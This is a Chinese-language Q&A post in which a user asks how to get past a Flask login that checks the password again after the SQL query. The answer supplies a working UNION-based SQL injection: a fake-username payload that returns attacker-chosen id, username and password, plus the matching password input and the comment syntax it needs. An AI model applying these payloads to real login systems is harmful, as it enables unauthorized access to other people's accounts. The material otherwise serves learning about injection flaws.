使用SQL注入绕过登录并附加密码检查

Question

我对SQL注入攻击很感兴趣，目前我正在尝试使用SQLi绕过登录。

我认为我已经很好地理解了SQL查询，但是这个模块还实现了额外的密码检查，以验证密码输入是否与查询匹配。

网页使用Python和烧瓶服务。

query = "SELECT * FROM users WHERE username='admin' UNION SELECT null, password, null FROM users where username='admin' -- AND password='[User Input]some_password'"
result = db.execute(query).fetchallI()

# Then checks if the password input is equal to query output
row = result[0]
if row["password"] == password: # Problematic password check
  try:
    session["user_id"] = int(row["id"])
    session["username"] = row["username"]
    return redirect(url_for("bank.index"))

如果我能够绕过密码检查，我可能能够计算出SQLi的其余部分。

有什么想法吗？

Answer 1

如果你能注入用户名，我相信你会注入到SELECT * FROM users WHERE username='admin'中的用户名部分，所以我们只需要返回一个密码，我们写到密码输入。

用户名输入的有效负载：

nobodyhavethisusername' UNION
    SELECT 1 as id, 'myuser' as username, 'mypassword' as password -- 

以及密码输入的有效载荷：

mypassword

我们做了什么？

• 使用nobodyhavethisusername，我们确保此查询不会根据联合选择的左边返回。
• Union SELECT只能返回3列(我猜)，app使用id、username、password列，所以我们用UNION返回这个列。
• 我们在末尾有一个注释(--)，如果没有它，SQL查询将引发异常。注意，在这两个破折号之后有一个空格。MySQL有一个“安全”功能内置，如果之后没有空格，它就把注释当作减号。

然后，查询变成如下所示：

SELECT * FROM users
WHERE username='nobodyhavethisusername'
    UNION SELECT 1 as id, 'myuser' as username, 'mypassword' as password --